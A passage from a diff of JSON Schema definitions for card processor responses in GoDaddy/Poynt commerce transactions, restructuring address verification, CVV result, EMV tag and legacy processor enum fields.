"maxLength": 32, + "type": "string" + }, + "approvedAmount": { + "description": "The amount that the authorization was approved for. This could be different from the transactionAmount requested.", + "format": "int64", + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/processor-response/cv-verification-result.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address verification result details obtained from processor", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } }, - "legacyProcessorData": { - "deprecated": true, - "description": "Process response data used by legacy system", - "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "x-legacy": true, - "$defs": { - "LegacyAVSResult": { - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } + "title": "Address Verification Results", + "type": "object" + }, + "cvResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/cv-result-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "title": "CVV Verification result status", + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "legacyProcessorData": { + "$defs": { + "LegacyAVSResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cardHolderNameResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cityResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "countryResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "phoneResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "postalCodeResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "stateResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" } }, - "LegacyAVSResultType": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "LegacyCVResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "LegacyECheckProcessor": { - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] + "type": "object", + "x-legacy": true + }, + "LegacyAVSResultType": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "LegacyCVResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "LegacyECheckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessorStatus": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "LegacyProviderVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" + }, + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" + } }, - "LegacyProcessor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] + "type": "object" + }, + "LegacyStrongCustomerAuthenticationResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" + } + }, + "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Legacy Processor response fields.", + "properties": { + "acquirer": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "adapterId": { + "type": "string" + }, + "adapterVariant": { + "type": "string" + }, + "avsResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cardHolderNameResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cityResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "countryResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "phoneResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "postalCodeResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "stateResult": { + "$ref": "#/$defs/LegacyAVSResultType" + } }, - "LegacyProcessorStatus": { - "type": "string", - "enum": [ - "Successful", - "Failure" - ] + "type": "object", + "x-legacy": true + }, + "batchAutoClosedByHost": { + "type": "string" + }, + "batchId": { + "description": "The ID of the settlement batch that this transaction is assigned to.", + "maxLength": 64, + "type": "string" + }, + "cardToken": { + "maxLength": 256, + "type": "string" + }, + "cvActualResult": { + "type": "string" + }, + "cvResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "debitResponseCode": { + "type": "string" + }, + "echeckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "issuerResponseCode": { + "type": "string" + }, + "pinSessionKey": { + "type": "string" + }, + "processedAt": { + "description": "Date / time of transaction received by the processor host.", + "format": "date-time", + "type": "string" + }, + "processor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "providerVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" + }, + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" + } }, - "LegacyProviderVerification": { - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } + "type": "object" + }, + "ps2000Data": { + "description": "Payment Service 2000 data to process a secondary transaction", + "type": "string" + }, + "retrievalRefNum": { + "maxLength": 64, + "type": "string" + }, + "scaResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" + }, + "status": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "statusCode": { + "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", + "maxLength": 64, + "type": "string" + }, + "statusMessage": { + "description": "Will be whatever message came back from the acquirer.", + "maxLength": 512, + "type": "string" + }, + "transactionId": { + "description": "The transactionID that came back from the acquirer.", + "maxLength": 64, + "type": "string" + } + }, + "type": "object", + "x-legacy": true + }, + "scaResult": { + "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/debitcard.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/creditcard.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor response for credit card", + "properties": { + "approvalCode": { + "description": "The approval code that came back from the acquirer (usually its 6 alpha-numeric characters).", + "maxLength": 32, + "type": "string" + }, + "approvedAmount": { + "description": "The amount that the authorization was approved for. This could be different from the transactionAmount requested.", + "format": "int64", + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/processor-response/cv-verification-result.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address verification result details obtained from processor", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "description": "Provider verification fields." + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } }, - "LegacyStrongCustomerAuthenticationResult": { - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - } + "title": "Address Verification Results", + "type": "object" }, - "type": "object", - "properties": { - "acquirer": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "adapterId": { - "type": "string" - }, - "adapterVariant": { - "type": "string" - }, - "avsResult": { - "description": "The address verification results.", - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "cvResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/cv-result-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "title": "CVV Verification result status", + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "legacyProcessorData": { + "$defs": { + "LegacyAVSResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cardHolderNameResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cityResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "countryResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "phoneResult": { 